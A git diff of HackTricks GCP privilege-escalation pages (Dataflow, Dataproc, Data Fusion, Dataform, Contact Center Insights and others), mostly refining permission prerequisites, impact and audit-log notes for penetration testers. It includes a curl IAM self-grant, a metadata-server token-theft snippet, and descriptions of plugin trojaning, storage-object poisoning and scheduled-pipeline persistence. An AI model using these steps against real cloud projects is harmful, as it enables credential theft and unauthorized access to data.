after that package: a custom `spec.override.roleRefs` can reduce its authority. An update can change the package's target selector to include another member, subject to the package update and successful reconciliation. The attacker can then include a ClusterRoleBinding or another privileged manifest in the release, subject to admission policy.[[1]](#references)[[4]](#references) + **Potential Impact:** Creation of the Kubernetes resources described by the selected variant on matching fleet clusters. This can yield workload execution and persistence where admission controls and Kubernetes RBAC allow it. It does **not** by itself prove cluster-admin, privileged-pod admission, node/host access, or access to a Google service account; Workload Identity and metadata access remain bounded by each cluster's KSA/GSA bindings and runtime controls. **Stealth:** **Low**. Bundle/release authoring and publication are always-on Admin Activity, fleet-package creation is off-default Data Access, and successful Kubernetes object writes produce GKE Admin Activity. Attribution is split between the initiating principal and Google-managed reconciliation identities, but the control-plane chain remains correlatable. @@ -57,5 +59,6 @@ Config Delivery methods are long-running operations and can emit start and compl - [1] [Deploy Kubernetes configurations with fleet packages](https://docs.cloud.google.com/kubernetes-engine/config-sync/docs/how-to/fleet-packages) - [2] [Config Delivery IAM roles and permissions](https://docs.cloud.google.com/iam/docs/roles-permissions/configdelivery) - [3] [Config Delivery audit logging](https://docs.cloud.google.com/kubernetes-engine/config-sync/docs/concepts/audit-logging) +- [4] [Config Sync architecture and default RootSync permissions](https://docs.cloud.google.com/kubernetes-engine/config-sync/docs/concepts/architecture) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-contact-center-insights-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-contact-center-insights-privesc.md index 68f702e683..e67b260a64 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-contact-center-insights-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-contact-center-insights-privesc.md @@ -4,19 +4,20 @@ ## Authorized-view IAM self-grant (`authorizedViews.setIamPolicy`) -`authorizedViews` support resource-level IAM. Granting the acting principal a read role on an authorized view (which scopes a set of conversations) leaves a durable, re-entrant read foothold over that conversation data after its broader project-level access is removed. +An authorized view limits which contact-center conversations a user can see. Its own IAM policy can grant access to that view. A principal with `contactcenterinsights.authorizedViews.setIamPolicy` on an existing view can grant itself `roles/contactcenterinsights.authorizedViewer`, even if it did not previously have view access. The conversations available afterward depend on the view's filter and current contents. **Bind the acting principal on an authorized view** ```bash -curl -s -X POST "$BASE/authorizedViewSets//authorizedViews/:setIamPolicy" \ +RESOURCE="projects//locations//authorizedViewSets//authorizedViews/" +curl -s -X POST "https://contactcenterinsights.googleapis.com/v1/$RESOURCE:setIamPolicy" \ -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \ -d '{"policy":{"bindings":[{"role":"roles/contactcenterinsights.authorizedViewer","members":["user:"]}]}}' ``` **Minimum permission:** `contactcenterinsights.authorizedViews.setIamPolicy` on the exact view. A read-modify-write preserving its existing policy also needs `contactcenterinsights.authorizedViews.getIamPolicy`. The view must already exist, and the new role must be grantable there. -**Potential Impact:** Long-lived read access to the conversations exposed by the authorized view for the acting principal — a persistent window into contact-center PII. +**Potential Impact:** The new binding could let the principal read conversations exposed by this view, which may contain customer data. **Stealth:** Low — `SetIamPolicy` is `ADMIN_WRITE`, always logged and attributed. However, as a **resource-level** binding it does **not** appear in the *project* IAM policy, so it evades project-level IAM reviews and shows only on a per-authorized-view policy inspection. @@ -40,6 +41,7 @@ contactcenterinsights.googleapis.com ...ContactCenterInsights.SetIamPolicy ... - [1] [Contact Center AI Insights documentation](https://cloud.google.com/contact-center/insights/docs) - [2] [CCAI Insights access control (IAM)](https://cloud.google.com/contact-center/insights/docs/access-control) +- [3] [Authorized-view IAM methods in the Contact Center Insights REST discovery document](https://contactcenterinsights.googleapis.com/$discovery/rest?version=v1) Additional access-control details and role semantics: [Google Cloud authorized views](https://docs.cloud.google.com/gemini-enterprise-cx/insights/use-authorized-views). diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-data-fusion-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-data-fusion-privesc.md index ddd63c5643..a1196fc84f 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-data-fusion-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-data-fusion-privesc.md @@ -14,7 +14,7 @@ Cloud Data Fusion has three relevant identities. The caller is authorized to use ### Create and execute a pipeline as its configured VM service account -The built-in PySpark Program and Scala Spark plugins execute user-provided code. A principal that can deploy and start a pipeline can therefore execute code on the Managed Service for Apache Spark cluster as the service account selected by the effective compute profile. The default is the Compute Engine default service account, but an Enterprise instance can use a user-managed service account instead. +Code plugins such as PySpark Program, Scala Spark Program, Scala Spark Compute, Python Evaluator, JavaScript, and Spark execute user-provided code when they are installed and available to the selected pipeline artifact. PySpark Program is available through the Cloud Data Fusion Hub, so do not assume it is installed. A principal that can deploy and start a pipeline using a code plugin can execute code on the Managed Service for Apache Spark cluster as the service account selected by its compute profile. That profile can be selected for a manual run or supplied as a runtime argument. When no profile is selected, a namespace or system default takes precedence over the built-in profile. The built-in profile uses the Compute Engine default service account unless the Data Fusion instance specifies another Dataproc service account. **Minimum permissions and prerequisites:** the caller needs effective `datafusion.instances.get` on the instance plus `datafusion.namespaces.get`, `datafusion.pipelines.create`, and `datafusion.pipelines.execute` on the namespace. A namespace-scoped role such as `roles/datafusion.developer` supplies the pipeline permissions. Google's current RBAC pages are inconsistent about the instance gate: the RBAC overview says Accessor is implicitly assigned when another Data Fusion RBAC role is assigned, while the role matrix and setup guide still direct administrators to grant `roles/datafusion.accessor` separately. Confirm effective `instances.get` with IAM Policy Analyzer instead of assuming either behavior. The chosen code-capable plugin must already be installed; uploading a custom plugin additionally needs `datafusion.artifacts.create` and `datafusion.artifacts.update`. @@ -39,7 +39,7 @@ AUTH_TOKEN="$(gcloud auth print-access-token)" # For a service-account OAuth token against a version 6.5 RBAC instance, # request userinfo.email plus cloud-platform (or servicecontrol) scopes. -# pipeline.json can reference the built-in PySpark Program or Scala Spark plugin. +# pipeline.json can reference an installed PySpark Program or Scala Spark plugin. curl --fail-with-body --silent --show-error \ -X PUT \ -H "Authorization: Bearer ${AUTH_TOKEN}" \ @@ -139,7 +139,9 @@ protoPayload.methodName="SetIamPolicy" ## Malicious artifact / plugin planted in the namespace (`datafusion.artifacts.create`) -Uploading a custom CDAP artifact/plugin (JAR) makes it available to pipelines in the namespace. A trojanized plugin that legitimate pipelines already use, or a widget that runs on load, gives code execution whenever those pipelines run — without the attacker having to trigger anything. +Uploading a custom CDAP artifact/plugin (JAR) makes it available in that namespace. Upload permission alone does not show that an existing pipeline will load it. Deployed pipeline configurations can name a plugin artifact and version, and multiple plugin versions can coexist. To establish a poisoning path, confirm that a pipeline actually resolves the attacker-controlled artifact version, can run again under a named compute profile, and that the attacker can replace or supply that exact artifact without needing pipeline edit rights. + +CDAP allows an existing `SNAPSHOT` artifact version to be uploaded again; the new content is picked up when a program starts. A non-snapshot version cannot be overwritten in place: replacing that exact namespace-scoped version requires deleting it and adding it again. Google's role matrix lists `datafusion.namespaces.get` with `datafusion.artifacts.delete` for deletion, and `datafusion.namespaces.get`, `datafusion.artifacts.create`, and `datafusion.artifacts.update` for creation. A pipeline pinned to a system-scoped artifact is not replaced by uploading a user-scoped artifact of the same name.
@@ -152,9 +154,9 @@ curl -s -H "Authorization: Bearer $TOKEN" -H 'Artifact-Version: 1.0.0' \
-**Potential Impact:** Supply-chain-style persistence — attacker code executes as the runtime SA every time any pipeline using the plugin runs, blending into normal operations. +**Potential Impact:** If a pipeline resolves the attacker-controlled artifact and runs again, the plugin may execute under the pipeline VM service account. A newly uploaded version that no pipeline selects is only an available artifact, not demonstrated execution. -**Stealth:** High — artifact upload is a CDAP-instance operation, **not** a Cloud Audit Log event (reasoned). The plugin only surfaces to someone inspecting the namespace's artifacts; execution again shows only as normal pipeline Dataproc activity. +**Stealth:** Artifact upload is not listed in Google's current Data Fusion audit-method catalog, so its Cloud Audit Log behavior should be verified for the instance. Deleting an artifact is documented as an Admin Activity event. A subsequent pipeline run can also create Managed Service for Apache Spark activity.
@@ -162,10 +164,11 @@ curl -s -H "Authorization: Bearer $TOKEN" -H 'Artifact-Version: 1.0.0' \ | Audit log method | Log type | Logged by default? | | --- | --- | --- | -| Artifact / plugin upload (CDAP layer) | None — not a Cloud Audit event | No | -| Execution: ephemeral `dataproc ...CreateCluster` (service agent) | Admin Activity (ADMIN_WRITE) | Yes | +| Artifact / plugin upload (CDAP layer) | No upload method listed in the current audit catalog | Unconfirmed | +| `datafusion.googleapis.com.ArtifactHttpHandler.deleteArtifact` | Admin Activity (ADMIN_WRITE) | Yes | +| Execution: ephemeral `dataproc ...CreateCluster` (service agent) | Admin Activity (ADMIN_WRITE) | Yes when an ephemeral cluster is created | -Artifact upload: **none in Cloud Audit Logs** (CDAP-layer, reasoned). Execution: only the ephemeral Dataproc cluster (`ADMIN_WRITE`) side-channel. +The audit catalog documents artifact deletion and property writes, but does not specify an artifact-upload method. An existing-cluster compute profile would not create an ephemeral cluster for every run.
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataflow-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataflow-privesc.md index c938af22b7..163a4b8b62 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataflow-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataflow-privesc.md @@ -16,7 +16,7 @@ Dataflow workers authorize Google Cloud requests as the job's worker service acc Dataflow pipelines can load templates, staging dependencies, metadata, or Python UDFs from Cloud Storage. Google describes compromise of one of these objects as **shadow resource poisoning**: a later job or a newly autoscaled worker fetches the modified code and executes it with the worker service account. Custom Python UDFs are a particularly direct target because Dataflow invokes the function for pipeline elements.[[2]](#references)[[3]](#references) -**Minimum permissions and prerequisites:** replacing the live generation of an existing object requires both `storage.objects.create` and `storage.objects.delete` on that object. Contrary to a common shorthand, `storage.objects.update` only updates object metadata and is not sufficient to replace its contents; `storage.objects.get` is needed only to inspect or preserve the original. The victim pipeline must consume the exact object name or an unpinned latest generation, and its worker identity must be able to read it. A future launch or a worker that fetches the dependency after autoscaling must occur. Object retention can prevent replacement; versioning preserves an old generation for recovery but does not keep an unpinned consumer on it.[[4]](#references)[[5]](#references) +**Minimum permissions and prerequisites:** replacing the live generation of an existing object requires both `storage.objects.create` and `storage.objects.delete` on that object. Contrary to a common shorthand, `storage.objects.update` only updates object metadata and is not sufficient to replace its contents; `storage.objects.get` is needed only to inspect or preserve the original. The victim pipeline must consume the exact object name or an unpinned latest generation, and its worker identity must be able to read it. A future launch or a worker that fetches the dependency after autoscaling must occur. Object retention can prevent replacement; versioning preserves an old generation for recovery but does not keep an unpinned consumer on it. For a worker-pool package, a recorded `sha256` is an integrity pin: the worker verifies it and refuses a modified package. That package is not a viable replacement path unless the expected checksum can also be changed.[[4]](#references)[[5]](#references)[[20]](#references) ```bash BUCKET="TRUSTED_DATAFLOW_BUCKET" @@ -39,7 +39,7 @@ def transform(value): return value ``` -**Potential Impact:** code execution in each affected worker as that job's worker service account, which can expose data and Google Cloud resources reachable by that identity or alter pipeline output. The primitive does not grant permissions that the worker service account lacks. A generation-pinned artifact, an unreadable replacement, retention controls, restricted egress, or VPC Service Controls can prevent or substantially bound exploitation. +**Potential Impact:** code execution in each affected worker as that job's worker service account, which can expose data and Google Cloud resources reachable by that identity or alter pipeline output. The primitive does not grant permissions that the worker service account lacks. A generation-pinned artifact, a worker package with a pinned SHA256 checksum, an unreadable replacement, retention controls, restricted egress, or VPC Service Controls can prevent or substantially bound exploitation. **Stealth:** **High** — Cloud Storage object writes are Data Access events and are disabled by default, while the later job creation may be performed by the legitimate submitter. Object versioning, inventory/change monitoring, enabled Data Access logs, worker failures, and downstream calls still provide detection opportunities. @@ -134,7 +134,7 @@ The documented Dataflow audit `methodName` is the permission-like string `datafl ## `datapipelines.pipelines.create` — recurring Dataflow run-as-SA via a scheduled Data Pipeline (cron persistence) -The two techniques above are a stored artifact and a single running job. A **Data Pipeline** (`datapipelines.googleapis.com`) is a control-plane object that wraps a Dataflow Flex/classic template launch and attaches a **Cloud Scheduler cron trigger**, re-launching the Dataflow job on a schedule. Dataflow has **no native scheduler of its own**, so the Pipeline object is the persistence primitive — the batch-Dataflow analog of the BigQuery scheduled-query cron backdoor. The launch spec's `environment.serviceAccountEmail` selects the **worker SA**, so every scheduled run executes attacker-influenced pipeline code (a poisoned template, inline Beam YAML, or a UDF) as that SA — reading its IMDS token, copying/`EXPORT`ing data to an attacker bucket, or re-granting access — **repeatedly, long after the attacker's own credentials are revoked**. Cancelling one run does not remove it: the Pipeline keeps re-creating jobs. +Data Pipelines can store a batch Dataflow template launch and create a Cloud Scheduler job that launches it repeatedly. A caller with `datapipelines.pipelines.create` on a supported project and region can provide a classic or Flex Template and choose the Dataflow worker service account. A template that runs caller-controlled code could then execute with that worker account's permissions when the scheduled job starts.[[16]](#references)[[17]](#references) ```bash # READ-ONLY recon of existing pipelines (safe) @@ -156,9 +156,9 @@ gcloud beta datapipelines pipeline list --region=us-central1 --project= # Trigger on demand: POST .../pipelines/:run ``` -**Potential Impact:** a credential-independent, recurring foothold — each cron fire launches Dataflow as the victim worker SA (code-exec-as-SA + scheduled exfil), surviving revocation of the attacker's original principal. Pair with the backdoored Flex-template image or inline Beam-YAML RCE above for the payload; Data Pipelines supplies the recurring trigger those lack. +**Potential Impact:** if the required grants and runtime conditions hold, a scheduled template may repeatedly run code with the selected worker account's access, even after the pipeline creator loses create permission. The permission pair alone does not establish that a usable scheduled launch exists or that the worker can start. -**Minimum permissions**: `datapipelines.pipelines.create` (+ `.run`) — in `roles/datapipelines.admin` — plus `iam.serviceAccounts.actAs` on the chosen worker SA (same gate as `dataflow.jobs.create`) and on `schedulerServiceAccountEmail`; `roles/editor`/`owner` satisfy both actAs halves. The `datapipelines` service agent performs the underlying Dataflow + Cloud Scheduler creation. +**Minimum permissions and prerequisites:** the caller needs `datapipelines.pipelines.create` and `iam.serviceAccounts.actAs` on the chosen worker account and on the Cloud Scheduler account if they differ. The scheduler account needs the documented Service Account User grant for the scheduled launch, and the Data Pipelines service agent must be able to create the Scheduler and Dataflow jobs. The worker account and Dataflow service agent need the Dataflow runtime grants described above. Staging and temporary storage, enabled APIs, and a supported region are also required. Creating a pipeline without a schedule only stores its definition; a separate caller would need `datapipelines.pipelines.run` to launch it. The Data Pipelines workload accepts classic and Flex Template launch requests. A Flex launch can reference Google's public regional `Yaml_Template` and pass caller-controlled Beam YAML in its `yaml_pipeline` parameter; this does not require write access to a separate template object. The Google Cloud CLI uses that same public template for `gcloud dataflow yaml run`.[[1]](#references)[[16]](#references)[[17]](#references)[[18]](#references)[[19]](#references) **Stealth:** Medium — the Pipeline write and each launch land in **three services under two principals** (you for the pipeline write; the bound worker SA for the recurring Dataflow launches), so no single service's audit log shows the whole chain, and a Dataflow-only or Cloud-Scheduler-only IAM/audit review misses the `datapipelines.pipelines.*` namespace entirely. @@ -192,5 +192,10 @@ gcloud beta datapipelines pipeline list --region=us-central1 --project= 13. [Compute Engine audit logging](https://docs.cloud.google.com/compute/docs/logging/audit-logging) 14. [Apache Beam YAML overview](https://beam.apache.org/documentation/sdks/yaml/) 15. [Apache Beam YAML user-defined functions](https://beam.apache.org/documentation/sdks/yaml-udf/) +16. [Work with Dataflow Data Pipelines](https://docs.cloud.google.com/dataflow/docs/guides/data-pipelines) +17. [Data Pipelines resource and workload](https://docs.cloud.google.com/dataflow/docs/reference/data-pipelines/rest/v1/projects.locations.pipelines) +18. [Create a Data Pipeline](https://docs.cloud.google.com/dataflow/docs/reference/data-pipelines/rest/v1/projects.locations.pipelines/create) +19. [`gcloud dataflow yaml run`](https://docs.cloud.google.com/sdk/gcloud/reference/dataflow/yaml/run) +20. [Dataflow Job worker package and SHA256 verification](https://docs.cloud.google.com/dataflow/docs/reference/rest/v1b3/projects.jobs#Package) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataform-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataform-privesc.md index f9920ab873..6accb3a6bf 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataform-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataform-privesc.md @@ -78,6 +78,12 @@ The current Google Cloud CLI has no `gcloud dataform` command group; the REST ex **Minimum permissions and prerequisites:** `dataform.repositories.create` on the location parent and `iam.serviceAccounts.actAs` on the target service account. This minimum assumes the authenticated caller is eligible for the `setAuthenticatedUserAdmin=true` grant and receives `roles/dataform.admin`. If `CreatorRoleConfig` disables or downscopes that grant, the caller must otherwise hold `dataform.workspaces.create`, `dataform.workspaces.writeFile`, `dataform.compilationResults.create`, and `dataform.workflowInvocations.create`. The Dataform API must be enabled. The Dataform service agent must be able to mint a token for the target account, and that account needs `bigquery.jobs.create` in the repository project plus the BigQuery permissions exercised by the SQL. +When the selected service account belongs to another project, the effective `iam.disableCrossProjectServiceAccountUsage` policy in that account's project must explicitly allow cross-project attachment. An `actAs` grant alone is insufficient if the policy enforces the restriction. Reading a protected source table into a new result table also requires `bigquery.tables.create` and `bigquery.tables.updateData` on the destination dataset, plus a way for the caller to read that result. + +The same workflow can create a table in a native BigQuery dataset that the caller cannot write directly, if the service account has `bigquery.tables.create` and `bigquery.tables.updateData` there. This is a bounded dataset write through the service account. On an existing repository, `dataform.repositories.setIamPolicy` can give the caller the repository permissions needed to author and invoke the workflow, provided the effective IAM member policy permits that self-grant. + +An `EXPORT DATA` query can also move a protected table into a Cloud Storage bucket the caller can read. That route needs the service account's `bigquery.tables.getData` and `bigquery.tables.export` on the table, the documented Cloud Storage write permissions on a suitable bucket, and the caller's object read permission. The BigQuery table and bucket locations must be compatible. + **Potential Impact:** Run attacker-authored BigQuery SQL with the target service account's effective permissions. This can read, alter, or export data reachable by that identity, but it is not arbitrary host code execution or general credential extraction. **Stealth:** **Low** — repository and workspace creation are always-on Admin Activity, the strict-act-as platform signal records the caller and effective identity, and every invocation produces a completion platform log. SQL-writing and invocation audit records themselves are off by default. diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md index af2dae3bb2..0975507b9a 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md @@ -14,7 +14,7 @@ For more information about Dataproc access: The Dataproc permissions listed here cover the cluster and job operations used by this method: submitting a job requires `dataproc.jobs.create` and `dataproc.clusters.use`, while the Google Cloud CLI also requires `dataproc.clusters.get` and `dataproc.jobs.get` for job submission and output handling. Uploading the script to Cloud Storage requires `storage.objects.create`; `storage.objects.get` and `storage.objects.list` can also be needed by CLI workflows.[[1]](#references)[[3]](#references) -A reverse shell is not reliably obtainable with this method. A job running on a Dataproc cluster VM can, however, query the metadata server and obtain an access token for the VM service account, as shown below.[[4]](#references)[[5]](#references)[[6]](#references) +A reverse shell is not reliably obtainable with this method. On a standard cluster, a job running on a Dataproc VM can query the metadata server for the VM service-account token, subject to its OAuth scopes, as shown below.[[4]](#references)[[5]](#references)[[6]](#references) #### Steps to exploit @@ -24,7 +24,7 @@ A reverse shell is not reliably obtainable with this method. A job running on a - Use the job to access the metadata server.[[4]](#references)[[6]](#references) -- Leak the service account token used by the cluster.[[4]](#references)[[5]](#references) +- On a standard cluster, retrieve the VM service-account token if its metadata endpoint is available to the job.[[4]](#references)[[5]](#references)
Python script to fetch SA token from metadata server @@ -69,9 +69,9 @@ gcloud dataproc jobs submit pyspark gs:/// \
-**Potential Impact:** Submit an arbitrary PySpark job to an **existing** cluster; the job runs on a cluster VM, reads the metadata server and steals the **cluster VM's service-account token** → pivot with its permissions. +**Potential Impact:** Submit a PySpark job to an **existing** cluster and run code with its effective workload identity. On a standard cluster, the job may access the VM service account within the VM's OAuth scopes. On a secure multi-tenant cluster, Google documents jobs as accessing resources with the submitting user's mapped service account. A personal-authentication cluster propagates the owner's credentials, so it should not be treated as a VM service-account pivot without separate evidence. -**Minimum permissions**: `dataproc.jobs.create` + `dataproc.clusters.use`; the Google Cloud CLI also needs `dataproc.clusters.get` and `dataproc.jobs.get`. Uploading a new script needs `storage.objects.create` for the caller, while the cluster VM SA needs `storage.objects.get` on that object. Reading the stored driver output additionally needs object-read access. +**Minimum permissions**: project-level `dataproc.jobs.create` plus `dataproc.clusters.use` on the chosen cluster; the Google Cloud CLI also needs `dataproc.clusters.get` and `dataproc.jobs.get`. Uploading a new script needs `storage.objects.create` for the caller, while the effective job service account needs `storage.objects.get` on that object. Reading the stored driver output additionally needs object-read access. **Stealth:** Low. Submission is an attributable, always-on Admin Activity LRO and leaves a job resource. The example prints the stolen token, so that token is also persisted in the job's Cloud Storage driver output even when job-driver Cloud Logging is disabled.[[17]](#references)[[18]](#references) @@ -83,10 +83,10 @@ gcloud dataproc jobs submit pyspark gs:/// \ | GCS script upload (`storage.objects.create`) | Data Access (DATA_WRITE) | No | | Job driver output in the staging bucket | Dataproc job output / GCS object | Yes — output is persisted by default | | In-VM metadata token read | No direct Cloud Audit event | No | -| Google API calls made with the token | Target-service dependent; attributed to the cluster VM SA | Depends on the target method | +| Google API calls made with the token | Target-service dependent; attributed to the token's identity | Depends on the target method | - `SubmitJob` checks `dataproc.jobs.create` and `dataproc.clusters.use`; it is **ADMIN_WRITE** and a long-running operation, so it normally emits start and completion entries. -- The GCS upload is Data Access (off by default). The metadata fetch itself has no Cloud Audit event, but the sample's stdout is retained in `driverOutputResourceUri`, and later Google API calls are audited according to the target service under the VM SA identity.[[17]](#references)[[18]](#references) +- The GCS upload is Data Access (off by default). The metadata fetch itself has no Cloud Audit event, but the sample's stdout is retained in `driverOutputResourceUri`, and later Google API calls are audited according to the target service under the token's identity.[[17]](#references)[[18]](#references)
@@ -176,7 +176,7 @@ A **session template** (`gcloud beta dataproc session-templates import`) can per **Potential Impact:** Interactive Serverless Spark session (Jupyter/Spark Connect) running as a chosen SA — same run-as-SA code-exec as a batch, but interactive. A **session template** persists the attacker-chosen `serviceAccount` so any later session from it runs as that SA (persistence). -**Minimum permissions**: `dataproc.sessions.create` or `dataproc.sessionTemplates.create` + `iam.serviceAccounts.actAs` on a custom runtime SA. The CLI also needs the documented get/operation-polling permissions, and the SA needs the runtime-version-appropriate Worker/Node permissions. +**Minimum permissions for a direct interactive session**: `dataproc.sessions.create` plus `iam.serviceAccounts.actAs` on a custom runtime SA. The caller also needs session read access to connect with an interactive client, and the SA needs the runtime-version-appropriate Worker/Node permissions. `dataproc.sessionTemplates.create` stores a reusable configuration; a session still has to be created from it before code can run. **Stealth:** Low. Session and template creation are always-on Admin Activity; the resource records the selected SA and runtime configuration, while the default Spark UI retains execution details. Calls made with the runtime token are logged by their target services under the runtime SA.[[17]](#references)[[22]](#references) @@ -213,7 +213,7 @@ gcloud dataproc clusters get-iam-policy --region= **Potential Impact:** Gain `dataproc.clusters.use` on one protected cluster and combine it with an existing project-level `dataproc.jobs.create` grant to execute code as that cluster's VM SA. -**Minimum permissions**: `dataproc.clusters.setIamPolicy` on the target cluster **plus** project-level `dataproc.jobs.create` (`dataproc.jobs.get` for the CLI). +**Minimum permissions**: `dataproc.clusters.setIamPolicy` on the target cluster **plus** project-level `dataproc.jobs.create`. Read the cluster policy with `dataproc.clusters.getIamPolicy` to preserve its etag when adding the binding. The job needs a script the caller can supply and the cluster SA can read; `dataproc.jobs.get` is needed by the CLI. **Stealth:** Low. `SetIamPolicy` is always-on Admin Activity, records the resource-level grant, and leaves a binding that is directly visible on the cluster. The subsequent job submission is another always-on Admin Activity event.[[17]](#references) @@ -245,7 +245,7 @@ gcloud dataproc workflow-templates set-managed-cluster atk-wft --region= **Potential Impact:** Persistence + run-as. A workflow template pins the cluster's SA **and** `initializationActions` scripts that run **as root on every node at startup** — anyone who later instantiates it runs the attacker payload as the attacker-chosen SA. Same via `clusters create --initialization-actions=gs://.../init.sh`. -**Minimum permissions**: `dataproc.workflowTemplates.create` for a complete API-supplied template; the shown multi-command CLI flow also updates the template. Triggering it requires `dataproc.workflowTemplates.instantiate`. Direct cluster creation requires `dataproc.clusters.create`. A custom SA remains subject to Dataproc's service-account attachment and runtime prerequisites. +**Minimum permissions**: project-level `dataproc.workflowTemplates.create` for a complete API-supplied template and `dataproc.workflowTemplates.instantiate` on the new template to run it. `dataproc.workflowTemplates.instantiateInline` can run the complete workflow without creating a stored template. The shown multi-command CLI flow also needs `dataproc.workflowTemplates.update`. Google also requires `iam.serviceAccounts.actAs` on the chosen VM service account when instantiating a workflow. The account needs Dataproc worker permissions and access to the initialization script, and the project needs a working Dataproc service agent and network. A template or inline workflow must include a valid job; creating a template alone does not run the cluster. Direct cluster creation requires `dataproc.clusters.create`. **Stealth:** Low. Template creation/update and later instantiation are always-on Admin Activity, the malicious script URI and SA remain in template inventory, and initialization-action output is written to per-node startup logs.[[17]](#references)[[19]](#references) @@ -291,7 +291,7 @@ gcloud dataproc clusters create pwn --region= \ ### Component Gateway (Jupyter / Zeppelin) — interactive code-exec as the cluster SA without `jobs.create` -`--enable-component-gateway` with `--optional-components=JUPYTER,ZEPPELIN` exposes the notebook web UIs through an **IAM-authenticated Google-hosted proxy** (no firewall change, no serial console). A notebook cell is arbitrary code that runs on the master node **as the cluster VM service account**, so it is an exec vector fully **distinct from `dataproc.jobs.create`** — useful when job submission is monitored/denied but web-UI access (or cluster read on an already-gateway-enabled cluster) is not: +`--enable-component-gateway` with `--optional-components=JUPYTER,ZEPPELIN` exposes the notebook web UIs through an **IAM-authenticated Google-hosted proxy** (no firewall change, no serial console). A notebook cell can run code on the cluster without `dataproc.jobs.create`. On a standard cluster, that code can use the cluster VM service account when its OAuth scopes permit it. Secure multi-tenancy instead maps the user to a separate service account, and personal cluster authentication propagates the user's credentials; check these settings before attributing notebook activity to the VM service account: ```python # in a Jupyter/Zeppelin cell on the cluster: @@ -302,7 +302,7 @@ print(u.urlopen(u.Request("http://metadata.google.internal/computeMetadata/v1/in **Minimum permissions**: `dataproc.clusters.create` (+ `--enable-component-gateway`) to stand one up, or `dataproc.clusters.get` to discover the URL **and** `dataproc.clusters.use` to access an existing gateway-enabled cluster. No `actAs` is needed to use the SA already attached to an existing cluster.[[24]](#references) -**Potential Impact:** interactive RCE as the cluster SA (→ metadata token theft, lateral movement) through a channel that produces **no `jobs.create` event**.[[12]](#references) +**Potential Impact:** interactive code execution with the notebook's available identity (the VM service account on a standard cluster, or the user's mapped service account under secure multi-tenancy), through a channel that produces **no `jobs.create` event**.[[12]](#references) **Stealth:** Medium. Reusing an existing gateway avoids `SubmitJob`; `GetCluster` is Data Access and off by default. However, Component Gateway access is authenticated and Dataproc's default extended logging includes Knox gateway-audit and Jupyter logs. Downstream Google API calls appear as the cluster SA.[[17]](#references)[[19]](#references)[[24]](#references)[[25]](#references) @@ -376,9 +376,11 @@ For cluster logging suppression, see [Dataproc post exploitation](../gcp-post-ex `gcloud dataproc clusters describe` returns in a single read: the VM `serviceAccount` and `serviceAccountScopes` (exactly what a stolen token can do — ties to the scope-amplification technique above), the `configBucket` / `tempBucket` (staging & temp GCS buckets), free-form `metadata` and `softwareConfig.properties`. With `storage.objects.get` on the staging/temp bucket you can read retained driver output, job arguments and dependency payloads. Planting a new object requires `storage.objects.create`; replacing an existing staged JAR/script additionally requires `storage.objects.delete`.[[18]](#references)[[29]](#references) +An exact `config.initializationActions[].executableFile` reference is a separate code path. Google documents that new nodes run these actions during scaling. If the referenced object is live, replacing it requires create and delete on that **same object**, and an active hold or retention period can block replacement. If that exact object was deleted, create can restore it. The cluster VM service account must be able to read the resulting object, and a later node addition is still needed. Writing an unrelated object to the staging bucket does not execute code by itself. + **Minimum permissions**: `dataproc.clusters.get` for configuration discovery; `storage.objects.get`/`.list` for retained output and dependencies; `storage.objects.create` to plant a new object; and both `storage.objects.create` + `.delete` to replace an existing object. -**Potential Impact:** credential & config harvesting plus a poisoning foothold that turns into code-exec as the cluster SA on the next job run.[[16]](#references) +**Potential Impact:** credential and configuration exposure. Replacing a job dependency can affect a later job that loads that exact object; controlling a referenced initialization action can run code on a node added to the cluster later.[[16]](#references) **Stealth:** High. `GetCluster` is `ADMIN_READ`, while GCS object reads and writes are Data Access; neither service writes these logs under its default audit configuration. A later victim-submitted job can expose execution/output, but it need not attribute the earlier bucket mutation to the attacker. [[17]](#references)[[28]](#references) diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-deploymentmaneger-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-deploymentmaneger-privesc.md index 441e6cc4b8..9a7c0a0c86 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-deploymentmaneger-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-deploymentmaneger-privesc.md @@ -15,6 +15,8 @@ For more information about Deployment Manager access: Deployment Manager is a legacy infrastructure deployment service. Support ended on April 1, 2026, but Google says the V2 API remains available to existing customers until June 30, 2027. Starting June 30, 2026, new users cannot enable the API or create their first deployment. The technique below therefore applies only where the service remains usable.[[1]](#references) +For a current create path, check that the API is enabled and that the project has a prior deployment. An empty deployment list does not establish that the project never used the service, so that case needs more evidence. The Google APIs Service Agent's current IAM bindings determine what the deployment can actually create; its former default Editor grant should not be assumed. + For deployment manifests and embedded configuration, see: {{#ref}} @@ -74,7 +76,7 @@ 